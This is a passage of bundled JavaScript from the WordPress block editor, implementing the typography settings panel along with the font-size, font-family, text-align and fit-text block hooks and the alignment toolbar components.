25953 const textAlign = decodeValue(inheritedValue?.typography?.textAlign);
25954 const setTextAlign = (newValue) => {
25955 onChange(
25956 setImmutably(
25957 value,
25958 ["typography", "textAlign"],
25959 newValue || void 0
25960 )
25961 );
25962 };
25963 const hasTextAlign = () => !!value?.typography?.textAlign;
25964 const resetTextAlign = () => setTextAlign(void 0);
25965 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
25966 return {
25967 ...previousValue,
25968 typography: {}
25969 };
25970 }, []);
25971 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25972 Wrapper,
25973 {
25974 resetAllFilter,
25975 value,
25976 onChange,
25977 panelId,
25978 children: [
25979 hasFontFamilyEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25980 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
25981 {
25982 label: (0,external_wp_i18n_namespaceObject.__)("Font"),
25983 hasValue: hasFontFamily,
25984 onDeselect: resetFontFamily,
25985 isShownByDefault: defaultControls.fontFamily,
25986 panelId,
25987 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25988 FontFamilyControl,
25989 {
25990 fontFamilies,
25991 value: fontFamily,
25992 onChange: setFontFamily,
25993 size: "__unstable-large",
25994 __nextHasNoMarginBottom: true
25995 }
25996 )
25997 }
25998 ),
25999 hasFontSizeEnabled && !fitText && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26000 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26001 {
26002 label: (0,external_wp_i18n_namespaceObject.__)("Size"),
26003 hasValue: hasFontSize,
26004 onDeselect: resetFontSize,
26005 isShownByDefault: defaultControls.fontSize,
26006 panelId,
26007 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26008 external_wp_components_namespaceObject.FontSizePicker,
26009 {
26010 value: currentFontSizeSlug || fontSize,
26011 valueMode: currentFontSizeSlug ? "slug" : "literal",
26012 onChange: setFontSize,
26013 fontSizes: mergedFontSizes,
26014 disableCustomFontSizes,
26015 withReset: false,
26016 withSlider: true,
26017 size: "__unstable-large"
26018 }
26019 )
26020 }
26021 ),
26022 hasAppearanceControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26023 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26024 {
26025 className: "single-column",
26026 label: appearanceControlLabel,
26027 hasValue: hasFontAppearance,
26028 onDeselect: resetFontAppearance,
26029 isShownByDefault: defaultControls.fontAppearance,
26030 panelId,
26031 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26032 FontAppearanceControl,
26033 {
26034 value: {
26035 fontStyle,
26036 fontWeight
26037 },
26038 onChange: setFontAppearance,
26039 hasFontStyles,
26040 hasFontWeights,
26041 fontFamilyFaces,
26042 size: "__unstable-large"
26043 }
26044 )
26045 }
26046 ),
26047 hasLineHeightEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26048 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26049 {
26050 className: "single-column",
26051 label: (0,external_wp_i18n_namespaceObject.__)("Line height"),
26052 hasValue: hasLineHeight,
26053 onDeselect: resetLineHeight,
26054 isShownByDefault: defaultControls.lineHeight,
26055 panelId,
26056 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26057 line_height_control_default,
26058 {
26059 __unstableInputWidth: "auto",
26060 value: lineHeight,
26061 onChange: setLineHeight,
26062 size: "__unstable-large"
26063 }
26064 )
26065 }
26066 ),
26067 hasLetterSpacingControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26068 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26069 {
26070 className: "single-column",
26071 label: (0,external_wp_i18n_namespaceObject.__)("Letter spacing"),
26072 hasValue: hasLetterSpacing,
26073 onDeselect: resetLetterSpacing,
26074 isShownByDefault: defaultControls.letterSpacing,
26075 panelId,
26076 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26077 LetterSpacingControl,
26078 {
26079 value: letterSpacing,
26080 onChange: setLetterSpacing,
26081 size: "__unstable-large",
26082 __unstableInputWidth: "auto"
26083 }
26084 )
26085 }
26086 ),
26087 hasTextColumnsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26088 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26089 {
26090 className: "single-column",
26091 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
26092 hasValue: hasTextColumns,
26093 onDeselect: resetTextColumns,
26094 isShownByDefault: defaultControls.textColumns,
26095 panelId,
26096 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26097 external_wp_components_namespaceObject.__experimentalNumberControl,
26098 {
26099 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
26100 max: MAX_TEXT_COLUMNS,
26101 min: MIN_TEXT_COLUMNS,
26102 onChange: setTextColumns,
26103 size: "__unstable-large",
26104 spinControls: "custom",
26105 value: textColumns,
26106 initialPosition: 1
26107 }
26108 )
26109 }
26110 ),
26111 hasTextDecorationControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26112 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26113 {
26114 className: "single-column",
26115 label: (0,external_wp_i18n_namespaceObject.__)("Decoration"),
26116 hasValue: hasTextDecoration,
26117 onDeselect: resetTextDecoration,
26118 isShownByDefault: defaultControls.textDecoration,
26119 panelId,
26120 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26121 TextDecorationControl,
26122 {
26123 value: textDecoration,
26124 onChange: setTextDecoration,
26125 size: "__unstable-large",
26126 __unstableInputWidth: "auto"
26127 }
26128 )
26129 }
26130 ),
26131 hasWritingModeControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26132 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26133 {
26134 className: "single-column",
26135 label: (0,external_wp_i18n_namespaceObject.__)("Orientation"),
26136 hasValue: hasWritingMode,
26137 onDeselect: resetWritingMode,
26138 isShownByDefault: defaultControls.writingMode,
26139 panelId,
26140 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26141 WritingModeControl,
26142 {
26143 value: writingMode,
26144 onChange: setWritingMode,
26145 size: "__unstable-large",
26146 __nextHasNoMarginBottom: true
26147 }
26148 )
26149 }
26150 ),
26151 hasTextTransformControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26152 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26153 {
26154 label: (0,external_wp_i18n_namespaceObject.__)("Letter case"),
26155 hasValue: hasTextTransform,
26156 onDeselect: resetTextTransform,
26157 isShownByDefault: defaultControls.textTransform,
26158 panelId,
26159 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26160 TextTransformControl,
26161 {
26162 value: textTransform,
26163 onChange: setTextTransform,
26164 showNone: true,
26165 isBlock: true,
26166 size: "__unstable-large",
26167 __nextHasNoMarginBottom: true
26168 }
26169 )
26170 }
26171 ),
26172 hasTextAlignmentControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26173 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
26174 {
26175 label: (0,external_wp_i18n_namespaceObject.__)("Text alignment"),
26176 hasValue: hasTextAlign,
26177 onDeselect: resetTextAlign,
26178 isShownByDefault: defaultControls.textAlign,
26179 panelId,
26180 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26181 TextAlignmentControl,
26182 {
26183 value: textAlign,
26184 onChange: setTextAlign,
26185 size: "__unstable-large",
26186 __nextHasNoMarginBottom: true
26187 }
26188 )
26189 }
26190 )
26191 ]
26192 }
26193 );
26194}
26195
26196
26197;// ./node_modules/@wordpress/block-editor/build-module/hooks/line-height.js
26198
26199
26200
26201
26202
26203const LINE_HEIGHT_SUPPORT_KEY = "typography.lineHeight";
26204function LineHeightEdit(props) {
26205 const {
26206 attributes: { style },
26207 setAttributes
26208 } = props;
26209 const onChange = (newLineHeightValue) => {
26210 const newStyle = {
26211 ...style,
26212 typography: {
26213 ...style?.typography,
26214 lineHeight: newLineHeightValue
26215 }
26216 };
26217 setAttributes({ style: cleanEmptyObject(newStyle) });
26218 };
26219 return /* @__PURE__ */ jsx(
26220 LineHeightControl,
26221 {
26222 __unstableInputWidth: "100%",
26223 value: style?.typography?.lineHeight,
26224 onChange,
26225 size: "__unstable-large"
26226 }
26227 );
26228}
26229function useIsLineHeightDisabled({ name: blockName } = {}) {
26230 const [isEnabled] = useSettings("typography.lineHeight");
26231 return !isEnabled || !hasBlockSupport(blockName, LINE_HEIGHT_SUPPORT_KEY);
26232}
26233
26234
26235;// external ["wp","tokenList"]
26236const external_wp_tokenList_namespaceObject = window["wp"]["tokenList"];
26237var external_wp_tokenList_default = /*#__PURE__*/__webpack_require__.n(external_wp_tokenList_namespaceObject);
26238;// ./node_modules/@wordpress/block-editor/build-module/hooks/font-family.js
26239
26240
26241
26242
26243
26244
26245
26246const FONT_FAMILY_SUPPORT_KEY = "typography.__experimentalFontFamily";
26247const { kebabCase: font_family_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
26248function font_family_addAttributes(settings) {
26249 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, FONT_FAMILY_SUPPORT_KEY)) {
26250 return settings;
26251 }
26252 if (!settings.attributes.fontFamily) {
26253 Object.assign(settings.attributes, {
26254 fontFamily: {
26255 type: "string"
26256 }
26257 });
26258 }
26259 return settings;
26260}
26261function font_family_addSaveProps(props, blockType, attributes) {
26262 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, FONT_FAMILY_SUPPORT_KEY)) {
26263 return props;
26264 }
26265 if (shouldSkipSerialization(
26266 blockType,
26267 TYPOGRAPHY_SUPPORT_KEY,
26268 "fontFamily"
26269 )) {
26270 return props;
26271 }
26272 if (!attributes?.fontFamily) {
26273 return props;
26274 }
26275 const classes = new (external_wp_tokenList_default())(props.className);
26276 classes.add(`has-${font_family_kebabCase(attributes?.fontFamily)}-font-family`);
26277 const newClassName = classes.value;
26278 props.className = newClassName ? newClassName : void 0;
26279 return props;
26280}
26281function font_family_useBlockProps({ name, fontFamily }) {
26282 return font_family_addSaveProps({}, name, { fontFamily });
26283}
26284var font_family_default = {
26285 useBlockProps: font_family_useBlockProps,
26286 addSaveProps: font_family_addSaveProps,
26287 attributeKeys: ["fontFamily"],
26288 hasSupport(name) {
26289 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, FONT_FAMILY_SUPPORT_KEY);
26290 }
26291};
26292function resetFontFamily({ setAttributes }) {
26293 setAttributes({ fontFamily: void 0 });
26294}
26295(0,external_wp_hooks_namespaceObject.addFilter)(
26296 "blocks.registerBlockType",
26297 "core/fontFamily/addAttribute",
26298 font_family_addAttributes
26299);
26300
26301
26302;// ./node_modules/@wordpress/block-editor/build-module/components/font-sizes/utils.js
26303
26304
26305const { kebabCase: utils_kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
26306const utils_getFontSize = (fontSizes, fontSizeAttribute, customFontSizeAttribute) => {
26307 if (fontSizeAttribute) {
26308 const fontSizeObject = fontSizes?.find(
26309 ({ slug }) => slug === fontSizeAttribute
26310 );
26311 if (fontSizeObject) {
26312 return fontSizeObject;
26313 }
26314 }
26315 return {
26316 size: customFontSizeAttribute
26317 };
26318};
26319function utils_getFontSizeObjectByValue(fontSizes, value) {
26320 const fontSizeObject = fontSizes?.find(({ size }) => size === value);
26321 if (fontSizeObject) {
26322 return fontSizeObject;
26323 }
26324 return {
26325 size: value
26326 };
26327}
26328function getFontSizeClass(fontSizeSlug) {
26329 if (!fontSizeSlug) {
26330 return;
26331 }
26332 return `has-${utils_kebabCase(fontSizeSlug)}-font-size`;
26333}
26334
26335
26336;// ./node_modules/@wordpress/block-editor/build-module/hooks/font-size.js
26337
26338
26339
26340
26341
26342
26343
26344
26345
26346const FONT_SIZE_SUPPORT_KEY = "typography.fontSize";
26347function font_size_addAttributes(settings) {
26348 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, FONT_SIZE_SUPPORT_KEY)) {
26349 return settings;
26350 }
26351 if (!settings.attributes.fontSize) {
26352 Object.assign(settings.attributes, {
26353 fontSize: {
26354 type: "string"
26355 }
26356 });
26357 }
26358 return settings;
26359}
26360function font_size_addSaveProps(props, blockNameOrType, attributes) {
26361 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockNameOrType, FONT_SIZE_SUPPORT_KEY)) {
26362 return props;
26363 }
26364 if (shouldSkipSerialization(
26365 blockNameOrType,
26366 TYPOGRAPHY_SUPPORT_KEY,
26367 "fontSize"
26368 )) {
26369 return props;
26370 }
26371 const classes = new (external_wp_tokenList_default())(props.className);
26372 classes.add(getFontSizeClass(attributes.fontSize));
26373 const newClassName = classes.value;
26374 props.className = newClassName ? newClassName : void 0;
26375 return props;
26376}
26377function FontSizeEdit(props) {
26378 const {
26379 attributes: { fontSize, style, fitText },
26380 setAttributes
26381 } = props;
26382 const [fontSizes] = useSettings("typography.fontSizes");
26383 if (fitText) {
26384 return null;
26385 }
26386 const onChange = (value, selectedItem) => {
26387 const fontSizeSlug = selectedItem?.slug || getFontSizeObjectByValue(fontSizes, value).slug;
26388 setAttributes({
26389 style: cleanEmptyObject({
26390 ...style,
26391 typography: {
26392 ...style?.typography,
26393 fontSize: fontSizeSlug ? void 0 : value
26394 }
26395 }),
26396 fontSize: fontSizeSlug
26397 });
26398 };
26399 const fontSizeObject = getFontSize(
26400 fontSizes,
26401 fontSize,
26402 style?.typography?.fontSize
26403 );
26404 const fontSizeValue = fontSizeObject?.size || style?.typography?.fontSize || fontSize;
26405 return /* @__PURE__ */ jsx(
26406 FontSizePicker,
26407 {
26408 onChange,
26409 value: fontSize || fontSizeValue,
26410 valueMode: fontSize ? "slug" : "literal",
26411 withReset: false,
26412 withSlider: true,
26413 size: "__unstable-large"
26414 }
26415 );
26416}
26417function useIsFontSizeDisabled({ name: blockName } = {}) {
26418 const [fontSizes] = useSettings("typography.fontSizes");
26419 const hasFontSizes = !!fontSizes?.length;
26420 return !hasBlockSupport(blockName, FONT_SIZE_SUPPORT_KEY) || !hasFontSizes;
26421}
26422function font_size_useBlockProps({ name, fontSize, style }) {
26423 const [fontSizes, fluidTypographySettings, layoutSettings] = use_settings_useSettings(
26424 "typography.fontSizes",
26425 "typography.fluid",
26426 "layout"
26427 );
26428 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, FONT_SIZE_SUPPORT_KEY) || shouldSkipSerialization(name, TYPOGRAPHY_SUPPORT_KEY, "fontSize") || !fontSize && !style?.typography?.fontSize) {
26429 return;
26430 }
26431 let props;
26432 if (style?.typography?.fontSize) {
26433 props = {
26434 style: {
26435 fontSize: getTypographyFontSizeValue(
26436 { size: style.typography.fontSize },
26437 {
26438 typography: {
26439 fluid: fluidTypographySettings
26440 },
26441 layout: layoutSettings
26442 }
26443 )
26444 }
26445 };
26446 }
26447 if (fontSize) {
26448 props = {
26449 style: {
26450 fontSize: utils_getFontSize(
26451 fontSizes,
26452 fontSize,
26453 style?.typography?.fontSize
26454 ).size
26455 }
26456 };
26457 }
26458 if (!props) {
26459 return;
26460 }
26461 return font_size_addSaveProps(props, name, { fontSize });
26462}
26463var font_size_default = {
26464 useBlockProps: font_size_useBlockProps,
26465 addSaveProps: font_size_addSaveProps,
26466 attributeKeys: ["fontSize", "style", "fitText"],
26467 hasSupport(name) {
26468 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, FONT_SIZE_SUPPORT_KEY);
26469 }
26470};
26471const font_size_MIGRATION_PATHS = {
26472 fontSize: [["fontSize"], ["style", "typography", "fontSize"]]
26473};
26474function font_size_addTransforms(result, source, index, results) {
26475 const destinationBlockType = result.name;
26476 const activeSupports = {
26477 fontSize: (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
26478 destinationBlockType,
26479 FONT_SIZE_SUPPORT_KEY
26480 )
26481 };
26482 return transformStyles(
26483 activeSupports,
26484 font_size_MIGRATION_PATHS,
26485 result,
26486 source,
26487 index,
26488 results
26489 );
26490}
26491(0,external_wp_hooks_namespaceObject.addFilter)(
26492 "blocks.registerBlockType",
26493 "core/font/addAttribute",
26494 font_size_addAttributes
26495);
26496(0,external_wp_hooks_namespaceObject.addFilter)(
26497 "blocks.switchToBlockType.transformedBlock",
26498 "core/font-size/addTransforms",
26499 font_size_addTransforms
26500);
26501
26502
26503;// ./node_modules/@wordpress/block-editor/build-module/components/alignment-control/ui.js
26504
26505
26506
26507
26508const DEFAULT_ALIGNMENT_CONTROLS = [
26509 {
26510 icon: align_left_default,
26511 title: (0,external_wp_i18n_namespaceObject.__)("Align text left"),
26512 align: "left"
26513 },
26514 {
26515 icon: align_center_default,
26516 title: (0,external_wp_i18n_namespaceObject.__)("Align text center"),
26517 align: "center"
26518 },
26519 {
26520 icon: align_right_default,
26521 title: (0,external_wp_i18n_namespaceObject.__)("Align text right"),
26522 align: "right"
26523 }
26524];
26525const ui_POPOVER_PROPS = {
26526 placement: "bottom-start"
26527};
26528function AlignmentUI({
26529 value,
26530 onChange,
26531 alignmentControls = DEFAULT_ALIGNMENT_CONTROLS,
26532 label = (0,external_wp_i18n_namespaceObject.__)("Align text"),
26533 description = (0,external_wp_i18n_namespaceObject.__)("Change text alignment"),
26534 isCollapsed = true,
26535 isToolbar
26536}) {
26537 function applyOrUnset(align) {
26538 return () => onChange(value === align ? void 0 : align);
26539 }
26540 const activeAlignment = alignmentControls.find(
26541 (control) => control.align === value
26542 );
26543 function setIcon() {
26544 if (activeAlignment) {
26545 return activeAlignment.icon;
26546 }
26547 return (0,external_wp_i18n_namespaceObject.isRTL)() ? align_right_default : align_left_default;
26548 }
26549 const UIComponent = isToolbar ? external_wp_components_namespaceObject.ToolbarGroup : external_wp_components_namespaceObject.ToolbarDropdownMenu;
26550 const extraProps = isToolbar ? { isCollapsed } : {
26551 toggleProps: {
26552 description
26553 },
26554 popoverProps: ui_POPOVER_PROPS
26555 };
26556 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26557 UIComponent,
26558 {
26559 icon: setIcon(),
26560 label,
26561 controls: alignmentControls.map((control) => {
26562 const { align } = control;
26563 const isActive = value === align;
26564 return {
26565 ...control,
26566 isActive,
26567 role: isCollapsed ? "menuitemradio" : void 0,
26568 onClick: applyOrUnset(align)
26569 };
26570 }),
26571 ...extraProps
26572 }
26573 );
26574}
26575var alignment_control_ui_ui_default = AlignmentUI;
26576
26577
26578;// ./node_modules/@wordpress/block-editor/build-module/components/alignment-control/index.js
26579
26580
26581const AlignmentControl = (props) => {
26582 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(alignment_control_ui_ui_default, { ...props, isToolbar: false });
26583};
26584const AlignmentToolbar = (props) => {
26585 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(alignment_control_ui_ui_default, { ...props, isToolbar: true });
26586};
26587
26588
26589;// ./node_modules/@wordpress/block-editor/build-module/hooks/text-align.js
26590
26591
26592
26593
26594
26595
26596
26597
26598
26599const TEXT_ALIGN_SUPPORT_KEY = "typography.textAlign";
26600const text_align_TEXT_ALIGNMENT_OPTIONS = [
26601 {
26602 icon: align_left_default,
26603 title: (0,external_wp_i18n_namespaceObject.__)("Align text left"),
26604 align: "left"
26605 },
26606 {
26607 icon: align_center_default,
26608 title: (0,external_wp_i18n_namespaceObject.__)("Align text center"),
26609 align: "center"
26610 },
26611 {
26612 icon: align_right_default,
26613 title: (0,external_wp_i18n_namespaceObject.__)("Align text right"),
26614 align: "right"
26615 }
26616];
26617const VALID_TEXT_ALIGNMENTS = ["left", "center", "right"];
26618const NO_TEXT_ALIGNMENTS = [];
26619function getValidTextAlignments(blockTextAlign) {
26620 if (Array.isArray(blockTextAlign)) {
26621 return VALID_TEXT_ALIGNMENTS.filter(
26622 (textAlign) => blockTextAlign.includes(textAlign)
26623 );
26624 }
26625 return blockTextAlign === true ? VALID_TEXT_ALIGNMENTS : NO_TEXT_ALIGNMENTS;
26626}
26627function BlockEditTextAlignmentToolbarControlsPure({
26628 style,
26629 name: blockName,
26630 setAttributes
26631}) {
26632 const settings = useBlockSettings(blockName);
26633 const hasTextAlignControl = settings?.typography?.textAlign;
26634 const blockEditingMode = useBlockEditingMode();
26635 if (!hasTextAlignControl || blockEditingMode !== "default") {
26636 return null;
26637 }
26638 const validTextAlignments = getValidTextAlignments(
26639 (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, TEXT_ALIGN_SUPPORT_KEY)
26640 );
26641 if (!validTextAlignments.length) {
26642 return null;
26643 }
26644 const textAlignmentControls = text_align_TEXT_ALIGNMENT_OPTIONS.filter(
26645 (control) => validTextAlignments.includes(control.align)
26646 );
26647 const onChange = (newTextAlignValue) => {
26648 const newStyle = {
26649 ...style,
26650 typography: {
26651 ...style?.typography,
26652 textAlign: newTextAlignValue
26653 }
26654 };
26655 setAttributes({ style: utils_cleanEmptyObject(newStyle) });
26656 };
26657 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26658 AlignmentControl,
26659 {
26660 value: style?.typography?.textAlign,
26661 onChange,
26662 alignmentControls: textAlignmentControls
26663 }
26664 ) });
26665}
26666var text_align_default = {
26667 edit: BlockEditTextAlignmentToolbarControlsPure,
26668 useBlockProps: text_align_useBlockProps,
26669 addSaveProps: addAssignedTextAlign,
26670 attributeKeys: ["style"],
26671 hasSupport(name) {
26672 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, TEXT_ALIGN_SUPPORT_KEY, false);
26673 }
26674};
26675function text_align_useBlockProps({ name, style }) {
26676 if (!style?.typography?.textAlign) {
26677 return null;
26678 }
26679 const validTextAlignments = getValidTextAlignments(
26680 (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, TEXT_ALIGN_SUPPORT_KEY)
26681 );
26682 if (!validTextAlignments.length) {
26683 return null;
26684 }
26685 if (shouldSkipSerialization(name, TYPOGRAPHY_SUPPORT_KEY, "textAlign")) {
26686 return null;
26687 }
26688 const textAlign = style.typography.textAlign;
26689 const className = dist_clsx({
26690 [`has-text-align-${textAlign}`]: textAlign
26691 });
26692 return { className };
26693}
26694function addAssignedTextAlign(props, blockType, attributes) {
26695 if (!attributes?.style?.typography?.textAlign) {
26696 return props;
26697 }
26698 const { textAlign } = attributes.style.typography;
26699 const blockTextAlign = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, TEXT_ALIGN_SUPPORT_KEY);
26700 const isTextAlignValid = getValidTextAlignments(blockTextAlign).includes(textAlign);
26701 if (isTextAlignValid && !shouldSkipSerialization(
26702 blockType,
26703 TYPOGRAPHY_SUPPORT_KEY,
26704 "textAlign"
26705 )) {
26706 props.className = dist_clsx(
26707 `has-text-align-${textAlign}`,
26708 props.className
26709 );
26710 }
26711 return props;
26712}
26713
26714
26715;// ./node_modules/@wordpress/block-editor/build-module/utils/fit-text-utils.js
26716function findOptimalFontSize(textElement, applyFontSize) {
26717 const alreadyHasScrollableHeight = textElement.scrollHeight > textElement.clientHeight;
26718 let minSize = 5;
26719 let maxSize = 2400;
26720 let bestSize = minSize;
26721 const computedStyle = window.getComputedStyle(textElement);
26722 let paddingLeft = parseFloat(computedStyle.paddingLeft) || 0;
26723 let paddingRight = parseFloat(computedStyle.paddingRight) || 0;
26724 const range = document.createRange();
26725 range.selectNodeContents(textElement);
26726 let referenceElement = textElement;
26727 const parentElement = textElement.parentElement;
26728 if (parentElement) {
26729 const parentElementComputedStyle = window.getComputedStyle(parentElement);
26730 if (parentElementComputedStyle?.display === "flex") {
26731 referenceElement = parentElement;
26732 paddingLeft += parseFloat(parentElementComputedStyle.paddingLeft) || 0;
26733 paddingRight += parseFloat(parentElementComputedStyle.paddingRight) || 0;
26734 }
26735 }
26736 let maxclientHeight = referenceElement.clientHeight;
26737 while (minSize <= maxSize) {
26738 const midSize = Math.floor((minSize + maxSize) / 2);
26739 applyFontSize(midSize);
26740 const rect = range.getBoundingClientRect();
26741 const textWidth = rect.width;
26742 const fitsWidth = textElement.scrollWidth <= referenceElement.clientWidth && textWidth <= referenceElement.clientWidth - paddingLeft - paddingRight;
26743 const fitsHeight = alreadyHasScrollableHeight || textElement.scrollHeight <= referenceElement.clientHeight || textElement.scrollHeight <= maxclientHeight;
26744 if (referenceElement.clientHeight > maxclientHeight) {
26745 maxclientHeight = referenceElement.clientHeight;
26746 }
26747 if (fitsWidth && fitsHeight) {
26748 bestSize = midSize;
26749 minSize = midSize + 1;
26750 } else {
26751 maxSize = midSize - 1;
26752 }
26753 }
26754 range.detach();
26755 return bestSize;
26756}
26757function optimizeFitText(textElement, applyFontSize) {
26758 if (!textElement) {
26759 return;
26760 }
26761 applyFontSize(0);
26762 const optimalSize = findOptimalFontSize(textElement, applyFontSize);
26763 applyFontSize(optimalSize);
26764 return optimalSize;
26765}
26766
26767
26768;// ./node_modules/@wordpress/block-editor/build-module/hooks/fit-text.js
26769
26770
26771
26772
26773const EMPTY_OBJECT = {};
26774
26775
26776
26777const FIT_TEXT_SUPPORT_KEY = "typography.fitText";
26778function fit_text_addAttributes(settings) {
26779 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, FIT_TEXT_SUPPORT_KEY)) {
26780 return settings;
26781 }
26782 if (settings.attributes?.fitText) {
26783 return settings;
26784 }
26785 return {
26786 ...settings,
26787 attributes: {
26788 ...settings.attributes,
26789 fitText: {
26790 type: "boolean"
26791 }
26792 }
26793 };
26794}
26795function useFitText({ fitText, name, clientId }) {
26796 const hasFitTextSupport2 = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, FIT_TEXT_SUPPORT_KEY);
26797 const blockElement = useBlockElement(clientId);
26798 const { blockAttributes, parentId, blockMode } = (0,external_wp_data_namespaceObject.useSelect)(
26799 (select) => {
26800 if (!clientId || !hasFitTextSupport2 || !fitText) {
26801 return EMPTY_OBJECT;
26802 }
26803 const _blockMode = select(store).getBlockMode(clientId);
26804 if (_blockMode === "html") {
26805 return { blockMode: _blockMode };
26806 }
26807 return {
26808 blockAttributes: select(store).getBlockAttributes(clientId),
26809 parentId: select(store).getBlockRootClientId(clientId),
26810 blockMode: _blockMode
26811 };
26812 },
26813 [clientId, hasFitTextSupport2, fitText]
26814 );
26815 const applyFitText = (0,external_wp_element_namespaceObject.useCallback)(() => {
26816 if (!blockElement || !hasFitTextSupport2 || !fitText) {
26817 return;
26818 }
26819 const styleId = `fit-text-${clientId}`;
26820 let styleElement = blockElement.ownerDocument.getElementById(styleId);
26821 if (!styleElement) {
26822 styleElement = blockElement.ownerDocument.createElement("style");
26823 styleElement.id = styleId;
26824 blockElement.ownerDocument.head.appendChild(styleElement);
26825 }
26826 const blockSelector = `#block-${clientId}`;
26827 const applyFontSize = (fontSize) => {
26828 if (fontSize === 0) {
26829 styleElement.textContent = "";
26830 } else {
26831 styleElement.textContent = `${blockSelector} { font-size: ${fontSize}px !important; }`;
26832 }
26833 };
26834 optimizeFitText(blockElement, applyFontSize);
26835 }, [blockElement, clientId, hasFitTextSupport2, fitText]);
26836 (0,external_wp_element_namespaceObject.useEffect)(() => {
26837 if (!fitText || !blockElement || !clientId || !hasFitTextSupport2 || blockMode === "html") {
26838 return;
26839 }
26840 const currentElement = blockElement;
26841 const previousVisibility = currentElement.style.visibility;
26842 let hideFrameId = null;
26843 let calculateFrameId = null;
26844 let showTimeoutId = null;
26845 hideFrameId = window.requestAnimationFrame(() => {
26846 currentElement.style.visibility = "hidden";
26847 calculateFrameId = window.requestAnimationFrame(() => {
26848 applyFitText();
26849 showTimeoutId = setTimeout(() => {
26850 currentElement.style.visibility = previousVisibility;
26851 }, 10);
26852 });
26853 });
26854 let resizeObserver;
26855 if (window.ResizeObserver && currentElement.parentElement) {
26856 resizeObserver = new window.ResizeObserver(applyFitText);
26857 resizeObserver.observe(currentElement.parentElement);
26858 resizeObserver.observe(currentElement);
26859 }
26860 return () => {
26861 if (hideFrameId !== null) {
26862 window.cancelAnimationFrame(hideFrameId);
26863 }
26864 if (calculateFrameId !== null) {
26865 window.cancelAnimationFrame(calculateFrameId);
26866 }
26867 if (showTimeoutId !== null) {
26868 clearTimeout(showTimeoutId);
26869 }
26870 if (resizeObserver) {
26871 resizeObserver.disconnect();
26872 }
26873 const styleId = `fit-text-${clientId}`;
26874 const styleElement = currentElement.ownerDocument.getElementById(styleId);
26875 if (styleElement) {
26876 styleElement.remove();
26877 }
26878 };
26879 }, [
26880 fitText,
26881 clientId,
26882 parentId,
26883 applyFitText,
26884 blockElement,
26885 hasFitTextSupport2,
26886 blockMode
26887 ]);
26888 (0,external_wp_element_namespaceObject.useEffect)(() => {
26889 if (fitText && blockElement && hasFitTextSupport2 && blockMode !== "html") {
26890 const frameId = window.requestAnimationFrame(() => {
26891 if (blockElement) {
26892 applyFitText();
26893 }
26894 });
26895 return () => window.cancelAnimationFrame(frameId);
26896 }
26897 }, [
26898 blockAttributes,
26899 fitText,
26900 applyFitText,
26901 blockElement,
26902 hasFitTextSupport2,
26903 blockMode
26904 ]);
26905}
26906function fit_text_addSaveProps(props, blockType, attributes) {
